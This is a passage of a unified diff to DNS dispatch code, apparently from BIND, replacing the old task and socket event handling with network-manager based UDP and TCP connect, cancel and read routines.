-					  ISC_SOCKCANCEL_RECV);
-		}
-		for (dispsock = ISC_LIST_HEAD(disp->activesockets);
-		     dispsock != NULL; dispsock = ISC_LIST_NEXT(dispsock, link))
-		{
-			isc_socket_cancel(dispsock->socket, dispsock->task,
-					  ISC_SOCKCANCEL_RECV);
-		}
-		disp->shutting_down = 1;
+	default:
+		UNREACHABLE();
 	}
 
-	dispatch_log(disp, LVL(90), "detach: refcount %d", disp->refcount);
+	dec_stats(disp->mgr, dns_resstatscounter_disprequdp);
 
-	killit = destroy_disp_ok(disp);
+	LOCK(&qid->lock);
+	ISC_LIST_UNLINK(qid->qid_table[resp->bucket], resp, link);
+	UNLOCK(&qid->lock);
+	resp->state = DNS_DISPATCHSTATE_CANCELED;
+
+unlock:
 	UNLOCK(&disp->lock);
-	if (killit) {
-		isc_task_send(disp->task[0], &disp->ctlevent);
+
+	if (respond) {
+		dispentry_log(resp, LVL(90), "read callback: %s",
+			      isc_result_totext(result));
+		resp->response(result, NULL, resp->arg);
 	}
 }
 
-isc_result_t
-dns_dispatch_addresponse(dns_dispatch_t *disp, unsigned int options,
-			 const isc_sockaddr_t *dest, isc_task_t *task,
-			 isc_taskaction_t action, void *arg,
-			 dns_messageid_t *idp, dns_dispentry_t **resp,
-			 isc_socketmgr_t *sockmgr) {
-	dns_dispentry_t *res;
-	unsigned int bucket;
-	in_port_t localport = 0;
-	dns_messageid_t id;
-	int i;
-	bool ok;
-	dns_qid_t *qid;
-	dispsocket_t *dispsocket = NULL;
-	isc_result_t result;
+static void
+tcp_dispentry_cancel(dns_dispentry_t *resp, isc_result_t result) {
+	REQUIRE(VALID_RESPONSE(resp));
+	REQUIRE(VALID_DISPATCH(resp->disp));
+	REQUIRE(VALID_DISPATCHMGR(resp->disp->mgr));
 
-	REQUIRE(VALID_DISPATCH(disp));
-	REQUIRE(task != NULL);
-	REQUIRE(dest != NULL);
-	REQUIRE(resp != NULL && *resp == NULL);
-	REQUIRE(idp != NULL);
-	if ((disp->attributes & DNS_DISPATCHATTR_EXCLUSIVE) != 0) {
-		REQUIRE(sockmgr != NULL);
-	}
+	dns_dispatch_t *disp = resp->disp;
+	dns_dispatchmgr_t *mgr = disp->mgr;
+	dns_qid_t *qid = mgr->qid;
+	dns_displist_t resps = ISC_LIST_INITIALIZER;
 
 	LOCK(&disp->lock);
+	dispentry_log(resp, LVL(90),
+		      "canceling response: %s, %s/%s (%s/%s), "
+		      "requests %u",
+		      isc_result_totext(result), state2str(resp->state),
+		      resp->reading ? "reading" : "not reading",
+		      state2str(disp->state),
+		      disp->reading ? "reading" : "not reading",
+		      disp->requests);
+
+	switch (resp->state) {
+	case DNS_DISPATCHSTATE_NONE:
+		break;
 
-	if (disp->shutting_down == 1) {
-		UNLOCK(&disp->lock);
-		return (ISC_R_SHUTTINGDOWN);
-	}
+	case DNS_DISPATCHSTATE_CONNECTING:
+		break;
 
-	if (disp->requests >= disp->maxrequests) {
-		UNLOCK(&disp->lock);
-		return (ISC_R_QUOTA);
-	}
+	case DNS_DISPATCHSTATE_CONNECTED:
+		if (resp->reading) {
+			tcp_recv_add(&resps, resp, ISC_R_CANCELED);
+		}
 
-	if ((disp->attributes & DNS_DISPATCHATTR_EXCLUSIVE) != 0 &&
-	    disp->nsockets > DNS_DISPATCH_SOCKSQUOTA)
-	{
-		dispsocket_t *oldestsocket;
-		dns_dispentry_t *oldestresp;
-		dns_dispatchevent_t *rev;
+		INSIST(!ISC_LINK_LINKED(resp, alink));
 
-		/*
-		 * Kill oldest outstanding query if the number of sockets
-		 * exceeds the quota to keep the room for new queries.
-		 */
-		oldestsocket = ISC_LIST_HEAD(disp->activesockets);
-		oldestresp = oldestsocket->resp;
-		if (oldestresp != NULL && !oldestresp->item_out) {
-			rev = allocate_devent(oldestresp->disp);
-			if (rev != NULL) {
-				rev->buffer.base = NULL;
-				rev->result = ISC_R_CANCELED;
-				rev->id = oldestresp->id;
-				ISC_EVENT_INIT(rev, sizeof(*rev), 0, NULL,
-					       DNS_EVENT_DISPATCH,
-					       oldestresp->action,
-					       oldestresp->arg, oldestresp,
-					       NULL, NULL);
-				oldestresp->item_out = true;
-				isc_task_send(oldestresp->task,
-					      ISC_EVENT_PTR(&rev));
-				inc_stats(disp->mgr,
-					  dns_resstatscounter_dispabort);
+		if (ISC_LIST_EMPTY(disp->active)) {
+			INSIST(disp->handle != NULL);
+
+#if DISPATCH_TCP_KEEPALIVE
+			/*
+			 * This is an experimental code that keeps the TCP
+			 * connection open for 1 second before it is finally
+			 * closed.  By keeping the TCP connection open, it can
+			 * be reused by dns_request that uses
+			 * dns_dispatch_gettcp() to join existing TCP
+			 * connections.
+			 *
+			 * It is disabled for now, because it changes the
+			 * behaviour, but I am keeping the code here for future
+			 * reference when we improve the dns_dispatch to reuse
+			 * the TCP connections also in the resolver.
+			 *
+			 * The TCP connection reuse should be seamless and not
+			 * require any extra handling on the client side though.
+			 */
+			isc_nmhandle_cleartimeout(disp->handle);
+			isc_nmhandle_settimeout(disp->handle, 1000);
+
+			if (!disp->reading) {
+				dispentry_log(resp, LVL(90),
+					      "final 1 second timeout on %p",
+					      disp->handle);
+				tcp_startrecv(disp, NULL);
+			}
+#else
+			if (disp->reading) {
+				dispentry_log(resp, LVL(90),
+					      "canceling read on %p",
+					      disp->handle);
+				isc_nm_cancelread(disp->handle);
 			}
+#endif
 		}
+		break;
 
-		/*
-		 * Move this entry to the tail so that it won't (easily) be
-		 * examined before actually being canceled.
-		 */
-		ISC_LIST_UNLINK(disp->activesockets, oldestsocket, link);
-		ISC_LIST_APPEND(disp->activesockets, oldestsocket, link);
+	case DNS_DISPATCHSTATE_CANCELED:
+		goto unlock;
+
+	default:
+		UNREACHABLE();
 	}
 
-	qid = DNS_QID(disp);
+	dec_stats(disp->mgr, dns_resstatscounter_dispreqtcp);
 
-	if ((disp->attributes & DNS_DISPATCHATTR_EXCLUSIVE) != 0) {
-		/*
-		 * Get a separate UDP socket with a random port number.
-		 */
-		result = get_dispsocket(disp, dest, sockmgr, &dispsocket,
-					&localport);
-		if (result != ISC_R_SUCCESS) {
-			UNLOCK(&disp->lock);
-			inc_stats(disp->mgr, dns_resstatscounter_dispsockfail);
-			return (result);
-		}
-	} else {
-		localport = disp->localport;
-	}
+	LOCK(&qid->lock);
+	ISC_LIST_UNLINK(qid->qid_table[resp->bucket], resp, link);
+	UNLOCK(&qid->lock);
+	resp->state = DNS_DISPATCHSTATE_CANCELED;
+
+unlock:
+	UNLOCK(&disp->lock);
 
 	/*
-	 * Try somewhat hard to find an unique ID unless FIXEDID is set
-	 * in which case we use the id passed in via *idp.
+	 * NOTE: Calling the response callback directly from here should be done
+	 * asynchronously, as the dns_dispatch_done() is usually called directly
+	 * from the response callback, so there's a slight chance that the call
+	 * stack will get higher here, but it's mitigated by the ".reading"
+	 * flag, so we don't ever go into a loop.
 	 */
-	LOCK(&qid->lock);
-	if ((options & DNS_DISPATCHOPT_FIXEDID) != 0) {
-		id = *idp;
-	} else {
-		id = (dns_messageid_t)isc_random16();
-	}
-	ok = false;
-	i = 0;
-	do {
-		bucket = dns_hash(qid, dest, id, localport);
-		if (entry_search(qid, dest, id, localport, bucket) == NULL) {
-			ok = true;
-			break;
-		}
-		if ((disp->attributes & DNS_DISPATCHATTR_FIXEDID) != 0) {
-			break;
-		}
-		id += qid->qid_increment;
-		id &= 0x0000ffff;
-	} while (i++ < 64);
-	UNLOCK(&qid->lock);
 
-	if (!ok) {
-		UNLOCK(&disp->lock);
-		return (ISC_R_NOMORE);
-	}
+	tcp_recv_processall(&resps, NULL);
+}
+
+static void
+dispentry_cancel(dns_dispentry_t *resp, isc_result_t result) {
+	REQUIRE(VALID_RESPONSE(resp));
+	REQUIRE(VALID_DISPATCH(resp->disp));
+
+	dns_dispatch_t *disp = resp->disp;
 
-	res = isc_mempool_get(disp->mgr->rpool);
-	if (res == NULL) {
-		if (dispsocket != NULL) {
-			destroy_dispsocket(disp, &dispsocket);
-		}
-		UNLOCK(&disp->lock);
-		return (ISC_R_NOMEMORY);
+	switch (disp->socktype) {
+	case isc_socktype_udp:
+		udp_dispentry_cancel(resp, result);
+		break;
+	case isc_socktype_tcp:
+		tcp_dispentry_cancel(resp, result);
+		break;
+	default:
+		UNREACHABLE();
 	}
+}
 
-	disp->refcount++;
-	disp->requests++;
-	res->task = NULL;
-	isc_task_attach(task, &res->task);
-	res->disp = disp;
-	res->id = id;
-	res->port = localport;
-	res->bucket = bucket;
-	res->host = *dest;
-	res->action = action;
-	res->arg = arg;
-	res->dispsocket = dispsocket;
-	if (dispsocket != NULL) {
-		dispsocket->resp = res;
-	}
-	res->item_out = false;
-	ISC_LIST_INIT(res->items);
-	ISC_LINK_INIT(res, link);
-	res->magic = RESPONSE_MAGIC;
+void
+dns_dispatch_done(dns_dispentry_t **respp) {
+	REQUIRE(VALID_RESPONSE(*respp));
 
-	LOCK(&qid->lock);
-	ISC_LIST_APPEND(qid->qid_table[bucket], res, link);
-	UNLOCK(&qid->lock);
+	dns_dispentry_t *resp = *respp;
+	*respp = NULL;
 
-	inc_stats(disp->mgr, (qid == disp->mgr->qid)
-				     ? dns_resstatscounter_disprequdp
-				     : dns_resstatscounter_dispreqtcp);
+	dispentry_cancel(resp, ISC_R_CANCELED);
+	dns_dispentry_detach(&resp); /* DISPENTRY000 */
+}
 
-	request_log(disp, res, LVL(90), "attached to task %p", res->task);
+static void
+udp_startrecv(isc_nmhandle_t *handle, dns_dispentry_t *resp) {
+	REQUIRE(VALID_RESPONSE(resp));
 
-	if (((disp->attributes & DNS_DISPATCHATTR_UDP) != 0) ||
-	    ((disp->attributes & DNS_DISPATCHATTR_CONNECTED) != 0))
-	{
-		result = startrecv(disp, dispsocket);
-		if (result != ISC_R_SUCCESS) {
-			LOCK(&qid->lock);
-			ISC_LIST_UNLINK(qid->qid_table[bucket], res, link);
-			UNLOCK(&qid->lock);
+	dispentry_log(resp, LVL(90), "attaching handle %p to %p", handle,
+		      &resp->handle);
+	isc_nmhandle_attach(handle, &resp->handle);
+	dns_dispentry_ref(resp); /* DISPENTRY003 */
+	dispentry_log(resp, LVL(90), "reading");
+	isc_nm_read(resp->handle, udp_recv, resp);
+	resp->reading = true;
+}
 
-			if (dispsocket != NULL) {
-				destroy_dispsocket(disp, &dispsocket);
-			}
+static void
+tcp_startrecv(dns_dispatch_t *disp, dns_dispentry_t *resp) {
+	REQUIRE(VALID_DISPATCH(disp));
+	REQUIRE(disp->socktype == isc_socktype_tcp);
+
+	dns_dispatch_ref(disp); /* DISPATCH002 */
+	if (resp != NULL) {
+		dispentry_log(resp, LVL(90), "reading from %p", disp->handle);
+		INSIST(!isc_time_isepoch(&resp->start));
+	} else {
+		dispatch_log(disp, LVL(90),
+			     "TCP reading without response from %p",
+			     disp->handle);
+	}
+	isc_nm_read(disp->handle, tcp_recv, disp);
+	disp->reading = true;
+}
 
-			disp->refcount--;
-			disp->requests--;
+static void
+tcp_connected(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
+	dns_dispatch_t *disp = (dns_dispatch_t *)arg;
+	dns_dispentry_t *resp = NULL;
+	dns_dispentry_t *next = NULL;
+	dns_displist_t resps = ISC_LIST_INITIALIZER;
 
-			dec_stats(disp->mgr,
-				  (qid == disp->mgr->qid)
-					  ? dns_resstatscounter_disprequdp
-					  : dns_resstatscounter_dispreqtcp);
+	if (isc_log_wouldlog(dns_lctx, 90)) {
+		char localbuf[ISC_SOCKADDR_FORMATSIZE];
+		char peerbuf[ISC_SOCKADDR_FORMATSIZE];
+		if (handle != NULL) {
+			isc_sockaddr_t local = isc_nmhandle_localaddr(handle);
+			isc_sockaddr_t peer = isc_nmhandle_peeraddr(handle);
 
-			UNLOCK(&disp->lock);
-			isc_task_detach(&res->task);
-			isc_mempool_put(disp->mgr->rpool, res);
-			return (result);
+			isc_sockaddr_format(&local, localbuf,
+					    ISC_SOCKADDR_FORMATSIZE);
+			isc_sockaddr_format(&peer, peerbuf,
+					    ISC_SOCKADDR_FORMATSIZE);
+		} else {
+			isc_sockaddr_format(&disp->local, localbuf,
+					    ISC_SOCKADDR_FORMATSIZE);
+			isc_sockaddr_format(&disp->peer, peerbuf,
+					    ISC_SOCKADDR_FORMATSIZE);
+		}
+
+		dispatch_log(disp, LVL(90), "connected from %s to %s: %s",
+			     localbuf, peerbuf, isc_result_totext(eresult));
+	}
+
+	LOCK(&disp->lock);
+	INSIST(disp->state == DNS_DISPATCHSTATE_CONNECTING);
+
+	/*
+	 * If there are pending responses, call the connect
+	 * callbacks for all of them.
+	 */
+	for (resp = ISC_LIST_HEAD(disp->pending); resp != NULL; resp = next) {
+		next = ISC_LIST_NEXT(resp, plink);
+		ISC_LIST_UNLINK(disp->pending, resp, plink);
+		ISC_LIST_APPEND(resps, resp, rlink);
+		resp->result = eresult;
+
+		if (resp->state == DNS_DISPATCHSTATE_CANCELED) {
+			resp->result = ISC_R_CANCELED;
+		} else if (eresult == ISC_R_SUCCESS) {
+			resp->state = DNS_DISPATCHSTATE_CONNECTED;
+			ISC_LIST_APPEND(disp->active, resp, alink);
+			resp->reading = true;
+			dispentry_log(resp, LVL(90), "start reading");
+		} else {
+			resp->state = DNS_DISPATCHSTATE_NONE;
 		}
 	}
 
-	if (dispsocket != NULL) {
-		ISC_LIST_APPEND(disp->activesockets, dispsocket, link);
+	if (ISC_LIST_EMPTY(disp->active)) {
+		/* All responses have been canceled */
+		disp->state = DNS_DISPATCHSTATE_CANCELED;
+	} else if (eresult == ISC_R_SUCCESS) {
+		disp->state = DNS_DISPATCHSTATE_CONNECTED;
+		isc_nmhandle_attach(handle, &disp->handle);
+		tcp_startrecv(disp, resp);
+	} else {
+		disp->state = DNS_DISPATCHSTATE_NONE;
 	}
 
 	UNLOCK(&disp->lock);
 
-	*idp = id;
-	*resp = res;
+	for (resp = ISC_LIST_HEAD(resps); resp != NULL; resp = next) {
+		next = ISC_LIST_NEXT(resp, rlink);
+		ISC_LIST_UNLINK(resps, resp, rlink);
 
-	if ((disp->attributes & DNS_DISPATCHATTR_EXCLUSIVE) != 0) {
-		INSIST(res->dispsocket != NULL);
+		dispentry_log(resp, LVL(90), "connect callback: %s",
+			      isc_result_totext(resp->result));
+		resp->connected(resp->result, NULL, resp->arg);
+		dns_dispentry_detach(&resp); /* DISPENTRY005 */
 	}
 
-	return (ISC_R_SUCCESS);
+	dns_dispatch_detach(&disp); /* DISPATCH003 */
 }
 
-void
-dns_dispatch_starttcp(dns_dispatch_t *disp) {
-	REQUIRE(VALID_DISPATCH(disp));
+static void
+udp_connected(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
+	dns_dispentry_t *resp = (dns_dispentry_t *)arg;
+	dns_dispatch_t *disp = resp->disp;
 
-	dispatch_log(disp, LVL(90), "starttcp %p", disp->task[0]);
+	dispentry_log(resp, LVL(90), "connected: %s",
+		      isc_result_totext(eresult));
 
 	LOCK(&disp->lock);
-	if ((disp->attributes & DNS_DISPATCHATTR_CONNECTED) == 0) {
-		disp->attributes |= DNS_DISPATCHATTR_CONNECTED;
-		(void)startrecv(disp, NULL);
+
+	switch (resp->state) {
+	case DNS_DISPATCHSTATE_CANCELED:
+		eresult = ISC_R_CANCELED;
+		ISC_LIST_UNLINK(disp->pending, resp, plink);
+		goto unlock;
+	case DNS_DISPATCHSTATE_CONNECTING:
+		ISC_LIST_UNLINK(disp->pending, resp, plink);
+		break;
+	default:
+		UNREACHABLE();
+	}
+
+	switch (eresult) {
+	case ISC_R_CANCELED:
+		break;
+	case ISC_R_SUCCESS:
+		resp->state = DNS_DISPATCHSTATE_CONNECTED;
+		udp_startrecv(handle, resp);
+		break;
+	case ISC_R_NOPERM:
+	case ISC_R_ADDRINUSE: {
+		in_port_t localport = isc_sockaddr_getport(&disp->local);
+		isc_result_t result;
+
+		/* probably a port collision; try a different one */
+		result = setup_socket(disp, resp, &resp->peer, &localport);
+		if (result == ISC_R_SUCCESS) {
+			UNLOCK(&disp->lock);
+			udp_dispatch_connect(disp, resp);
+			goto detach;
+		}
+		resp->state = DNS_DISPATCHSTATE_NONE;
+		break;
+	}
+	default:
+		resp->state = DNS_DISPATCHSTATE_NONE;
+		break;
 	}
+unlock:
 	UNLOCK(&disp->lock);
+
+	dispentry_log(resp, LVL(90), "connect callback: %s",
+		      isc_result_totext(eresult));
+	resp->connected(eresult, NULL, resp->arg);
+
+detach:
+	dns_dispentry_detach(&resp); /* DISPENTRY004 */
 }
 
-isc_result_t
-dns_dispatch_getnext(dns_dispentry_t *resp, dns_dispatchevent_t **sockevent) {
-	dns_dispatch_t *disp;
-	dns_dispatchevent_t *ev;
+static void
+udp_dispatch_connect(dns_dispatch_t *disp, dns_dispentry_t *resp) {
+	LOCK(&disp->lock);
+	resp->state = DNS_DISPATCHSTATE_CONNECTING;
+	resp->start = isc_loop_now(resp->loop);
+	dns_dispentry_ref(resp); /* DISPENTRY004 */
+	ISC_LIST_APPEND(disp->pending, resp, plink);
+	UNLOCK(&disp->lock);
 
-	REQUIRE(VALID_RESPONSE(resp));
-	REQUIRE(sockevent != NULL && *sockevent != NULL);
+	isc_nm_udpconnect(disp->mgr->nm, &resp->local, &resp->peer,
+			  udp_connected, resp, resp->timeout);
+}
 
-	disp = resp->disp;
-	REQUIRE(VALID_DISPATCH(disp));
+static isc_result_t
+tcp_dispatch_connect(dns_dispatch_t *disp, dns_dispentry_t *resp) {
+	dns_transport_type_t transport_type = DNS_TRANSPORT_TCP;
+	isc_tlsctx_t *tlsctx = NULL;
+	isc_tlsctx_client_session_cache_t *sess_cache = NULL;
 
-	ev = *sockevent;
-	*sockevent = NULL;
+	if (resp->transport != NULL) {
+		transport_type = dns_transport_get_type(resp->transport);
+	}
 
-	LOCK(&disp->lock);
+	if (transport_type == DNS_TRANSPORT_TLS) {
+		isc_result_t result;
 
-	REQUIRE(resp->item_out);
-	resp->item_out = false;
+		result = dns_transport_get_tlsctx(
+			resp->transport, &resp->peer, resp->tlsctx_cache,
+			resp->disp->mgr->mctx, &tlsctx, &sess_cache);
 
-	if (ev->buffer.base != NULL) {
-		free_buffer(disp, ev->buffer.base, ev->buffer.length);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
+		}
+		INSIST(tlsctx != NULL);
 	}
-	free_devent(disp, ev);
 
-	if (disp->shutting_down == 1) {
+	/* Check whether the dispatch is already connecting or connected. */
+	LOCK(&disp->lock);
+	switch (disp->state) {
+	case DNS_DISPATCHSTATE_NONE:
+		/* First connection, continue with connecting */
+		disp->state = DNS_DISPATCHSTATE_CONNECTING;
+		resp->state = DNS_DISPATCHSTATE_CONNECTING;
+		resp->start = isc_loop_now(resp->loop);
+		dns_dispentry_ref(resp); /* DISPENTRY005 */
+		ISC_LIST_APPEND(disp->pending, resp, plink);
 		UNLOCK(&disp->lock);
-		return (ISC_R_SHUTTINGDOWN);
-	}
-	ev = ISC_LIST_HEAD(resp->items);
-	if (ev != NULL) {
-		ISC_LIST_UNLINK(resp->items, ev, ev_link);
-		ISC_EVENT_INIT(ev, sizeof(*ev), 0, NULL, DNS_EVENT_DISPATCH,
-			       resp->action, resp->arg, resp, NULL, NULL);
-		request_log(disp, resp, LVL(90),
-			    "[c] Sent event %p buffer %p len %d to task %p", ev,
-			    ev->buffer.base, ev->buffer.length, resp->task);
-		resp->item_out = true;
-		isc_task_send(resp->task, ISC_EVENT_PTR(&ev));
-	}
-	UNLOCK(&disp->lock);
-	return (ISC_R_SUCCESS);
-}
 
-void
-dns_dispatch_removeresponse(dns_dispentry_t **resp,
-			    dns_dispatchevent_t **sockevent) {
-	dns_dispatchmgr_t *mgr;
-	dns_dispatch_t *disp;
-	dns_dispentry_t *res;
-	dispsocket_t *dispsock;
-	dns_dispatchevent_t *ev;
-	unsigned int bucket;
-	bool killit;
-	unsigned int n;
-	isc_eventlist_t events;
-	dns_qid_t *qid;
+		char localbuf[ISC_SOCKADDR_FORMATSIZE];
+		char peerbuf[ISC_SOCKADDR_FORMATSIZE];
 
-	REQUIRE(resp != NULL);
-	REQUIRE(VALID_RESPONSE(*resp));
+		isc_sockaddr_format(&disp->local, localbuf,
+				    ISC_SOCKADDR_FORMATSIZE);
+		isc_sockaddr_format(&disp->peer, peerbuf,
+				    ISC_SOCKADDR_FORMATSIZE);
 
-	res = *resp;
-	*resp = NULL;
+		dns_dispatch_ref(disp); /* DISPATCH003 */
+		dispentry_log(resp, LVL(90),
+			      "connecting from %s to %s, timeout %u", localbuf,
+			      peerbuf, resp->timeout);
 
-	disp = res->disp;
-	REQUIRE(VALID_DISPATCH(disp));
-	mgr = disp->mgr;
-	REQUIRE(VALID_DISPATCHMGR(mgr));
+		isc_nm_streamdnsconnect(disp->mgr->nm, &disp->local,
+					&disp->peer, tcp_connected, disp,
+					resp->timeout, tlsctx, sess_cache);
+		break;
 
-	qid = DNS_QID(disp);
+	case DNS_DISPATCHSTATE_CONNECTING:
+		/* Connection pending; add resp to the list */
+		resp->state = DNS_DISPATCHSTATE_CONNECTING;
+		resp->start = isc_loop_now(resp->loop);
+		dns_dispentry_ref(resp); /* DISPENTRY005 */
+		ISC_LIST_APPEND(disp->pending, resp, plink);
+		UNLOCK(&disp->lock);
+		break;
 
-	if (sockevent != NULL) {
-		REQUIRE(*sockevent != NULL);
-		ev = *sockevent;
-		*sockevent = NULL;
-	} else {
-		ev = NULL;
-	}
+	case DNS_DISPATCHSTATE_CONNECTED:
+		resp->state = DNS_DISPATCHSTATE_CONNECTED;
+		resp->start = isc_loop_now(resp->loop);
 
-	LOCK(&disp->lock);
+		/* Add the resp to the reading list */
+		ISC_LIST_APPEND(disp->active, resp, alink);
+		dispentry_log(resp, LVL(90), "already connected; attaching");
+		resp->reading = true;
 
-	INSIST(disp->requests > 0);
-	disp->requests--;
-	dec_stats(disp->mgr, (qid == disp->mgr->qid)
-				     ? dns_resstatscounter_disprequdp
-				     : dns_resstatscounter_dispreqtcp);
-	INSIST(disp->refcount > 0);
-	disp->refcount--;
-	if (disp->refcount == 0) {
-		if (disp->recv_pending > 0) {
-			isc_socket_cancel(disp->socket, disp->task[0],
-					  ISC_SOCKCANCEL_RECV);
+		if (!disp->reading) {
+			/* Restart the reading */
+			tcp_startrecv(disp, resp);
 		}
-		for (dispsock = ISC_LIST_HEAD(disp->activesockets);
-		     dispsock != NULL; dispsock = ISC_LIST_NEXT(dispsock, link))
-		{
-			isc_socket_cancel(dispsock->socket, dispsock->task,
-					  ISC_SOCKCANCEL_RECV);
-		}
-		disp->shutting_down = 1;
-	}
-
-	bucket = res->bucket;
 
-	LOCK(&qid->lock);
-	ISC_LIST_UNLINK(qid->qid_table[bucket], res, link);
-	UNLOCK(&qid->lock);
+		UNLOCK(&disp->lock);
+		/* We are already connected; call the connected cb */
+		dispentry_log(resp, LVL(90), "connect callback: %s",
+			      isc_result_totext(ISC_R_SUCCESS));
+		resp->connected(ISC_R_SUCCESS, NULL, resp->arg);
+		break;
 
-	if (ev == NULL && res->item_out) {
-		/*
-		 * We've posted our event, but the caller hasn't gotten it
-		 * yet.  Take it back.
-		 */
-		ISC_LIST_INIT(events);
-		n = isc_task_unsend(res->task, res, DNS_EVENT_DISPATCH, NULL,
-				    &events);
-		/*
-		 * We had better have gotten it back.
-		 */
-		INSIST(n == 1);
-		ev = (dns_dispatchevent_t *)ISC_LIST_HEAD(events);
+	default:
+		UNREACHABLE();
 	}
 
-	if (ev != NULL) {
-		REQUIRE(res->item_out);
-		res->item_out = false;
-		if (ev->buffer.base != NULL) {
-			free_buffer(disp, ev->buffer.base, ev->buffer.length);
-		}
-		free_devent(disp, ev);
-	}
+	return (ISC_R_SUCCESS);
+}
 
-	request_log(disp, res, LVL(90), "detaching from task %p", res->task);
-	isc_task_detach(&res->task);
+isc_result_t
+dns_dispatch_connect(dns_dispentry_t *resp) {
+	REQUIRE(VALID_RESPONSE(resp));
+	REQUIRE(VALID_DISPATCH(resp->disp));
 
-	if (res->dispsocket != NULL) {
-		isc_socket_cancel(res->dispsocket->socket,
-				  res->dispsocket->task, ISC_SOCKCANCEL_RECV);
-		res->dispsocket->resp = NULL;
-	}
+	dns_dispatch_t *disp = resp->disp;
 
-	/*
-	 * Free any buffered responses as well
-	 */
-	ev = ISC_LIST_HEAD(res->items);
-	while (ev != NULL) {
-		ISC_LIST_UNLINK(res->items, ev, ev_link);
-		if (ev->buffer.base != NULL) {
-			free_buffer(disp, ev->buffer.base, ev->buffer.length);
-		}
-		free_devent(disp, ev);
-		ev = ISC_LIST_HEAD(res->items);
-	}
-	res->magic = 0;
-	isc_mempool_put(disp->mgr->rpool, res);
-	if (disp->shutting_down == 1) {
-		do_cancel(disp);
-	} else {
-		(void)startrecv(disp, NULL);
-	}
+	switch (disp->socktype) {
+	case isc_socktype_tcp:
+		return (tcp_dispatch_connect(disp, resp));
 
-	killit = destroy_disp_ok(disp);
-	UNLOCK(&disp->lock);
-	if (killit) {
-		isc_task_send(disp->task[0], &disp->ctlevent);
+	case isc_socktype_udp:
+		udp_dispatch_connect(disp, resp);
+		return (ISC_R_SUCCESS);
+
+	default:
+		UNREACHABLE();
 	}
 }
 
-/*
- * disp must be locked.
- */
 static void
-do_cancel(dns_dispatch_t *disp) {
-	dns_dispatchevent_t *ev;
-	dns_dispentry_t *resp;
-	dns_qid_t *qid;
+send_done(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
+	dns_dispentry_t *resp = (dns_dispentry_t *)cbarg;
 
-	if (disp->shutdown_out == 1) {
-		return;
-	}
+	REQUIRE(VALID_RESPONSE(resp));
 
-	qid = DNS_QID(disp);
+	dns_dispatch_t *disp = resp->disp;
 
-	/*
-	 * Search for the first response handler without packets outstanding
-	 * unless a specific handler is given.
-	 */
-	LOCK(&qid->lock);
-	for (resp = linear_first(qid); resp != NULL && resp->item_out;
-	     /* Empty. */)
-	{
-		resp = linear_next(qid, resp);
-	}
+	REQUIRE(VALID_DISPATCH(disp));
 
-	/*
-	 * No one to send the cancel event to, so nothing to do.
-	 */
-	if (resp == NULL) {
-		goto unlock;
-	}
+	dispentry_log(resp, LVL(90), "sent: %s", isc_result_totext(result));
 
-	/*
-	 * Send the shutdown failsafe event to this resp.
-	 */
-	ev = disp->failsafe_ev;
-	ISC_EVENT_INIT(ev, sizeof(*ev), 0, NULL, DNS_EVENT_DISPATCH,
-		       resp->action, resp->arg, resp, NULL, NULL);
-	ev->result = disp->shutdown_why;
-	ev->buffer.base = NULL;
-	ev->buffer.length = 0;
-	disp->shutdown_out = 1;
-	request_log(disp, resp, LVL(10), "cancel: failsafe event %p -> task %p",
-		    ev, resp->task);
-	resp->item_out = true;
-	isc_task_send(resp->task, ISC_EVENT_PTR(&ev));
-unlock:
-	UNLOCK(&qid->lock);
-}
+	resp->sent(result, NULL, resp->arg);
 
-isc_socket_t *
-dns_dispatch_getsocket(dns_dispatch_t *disp) {
-	REQUIRE(VALID_DISPATCH(disp));
+	if (result != ISC_R_SUCCESS) {
+		dispentry_cancel(resp, result);
+	}
 
-	return (disp->socket);
+	dns_dispentry_detach(&resp); /* DISPENTRY007 */
+	isc_nmhandle_detach(&handle);
 }
 
-isc_socket_t *
-dns_dispatch_getentrysocket(dns_dispentry_t *resp) {
-	REQUIRE(VALID_RESPONSE(resp));
+static void
+tcp_dispatch_getnext(dns_dispatch_t *disp, dns_dispentry_t *resp,
+		     int32_t timeout) {
+	REQUIRE(timeout <= INT16_MAX);
 
-	if (resp->dispsocket != NULL) {
-		return (resp->dispsocket->socket);
-	} else {
-		return (NULL);
+	dispentry_log(resp, LVL(90), "continue reading");
+
+	if (!resp->reading) {
+		ISC_LIST_APPEND(disp->active, resp, alink);
+		resp->reading = true;
 	}
-}
 
-isc_result_t
-dns_dispatch_getlocaladdress(dns_dispatch_t *disp, isc_sockaddr_t *addrp) {
-	REQUIRE(VALID_DISPATCH(disp));
-	REQUIRE(addrp != NULL);
+	if (disp->reading) {
+		return;
+	}
 
-	if (disp->socktype == isc_sockettype_udp) {
-		*addrp = disp->local;
-		return (ISC_R_SUCCESS);
+	if (timeout > 0) {
+		isc_nmhandle_settimeout(disp->handle, timeout);
 	}
-	return (ISC_R_NOTIMPLEMENTED);
-}
 
-void
-dns_dispatch_cancel(dns_dispatch_t *disp) {
-	REQUIRE(VALID_DISPATCH(disp));
+	dns_dispatch_ref(disp); /* DISPATCH002 */
+	isc_nm_read(disp->handle, tcp_recv, disp);
+	disp->reading = true;
+}
 
-	LOCK(&disp->lock);
+static void
+udp_dispatch_getnext(dns_dispentry_t *resp, int32_t timeout) {
+	REQUIRE(timeout <= INT16_MAX);
 
-	if (disp->shutting_down == 1) {
-		UNLOCK(&disp->lock);
+	if (resp->reading) {
 		return;
 	}
 
-	disp->shutdown_why = ISC_R_CANCELED;
-	disp->shutting_down = 1;
-	do_cancel(disp);
+	if (timeout > 0) {
+		isc_nmhandle_settimeout(resp->handle, timeout);
+	}
 
-	UNLOCK(&disp->lock);
+	dispentry_log(resp, LVL(90), "continue reading");
 
-	return;
+	dns_dispentry_ref(resp); /* DISPENTRY003 */
+	isc_nm_read(resp->handle, udp_recv, resp);
+	resp->reading = true;
 }
 
-unsigned int
-dns_dispatch_getattributes(dns_dispatch_t *disp) {
-	REQUIRE(VALID_DISPATCH(disp));
+void
+dns_dispatch_resume(dns_dispentry_t *resp, uint16_t timeout) {
+	REQUIRE(VALID_RESPONSE(resp));
+	REQUIRE(VALID_DISPATCH(resp->disp));
 
-	/*
-	 * We don't bother locking disp here; it's the caller's responsibility
-	 * to use only non volatile flags.
-	 */
-	return (disp->attributes);
-}
+	dns_dispatch_t *disp = resp->disp;
 
-void
-dns_dispatch_changeattributes(dns_dispatch_t *disp, unsigned int attributes,
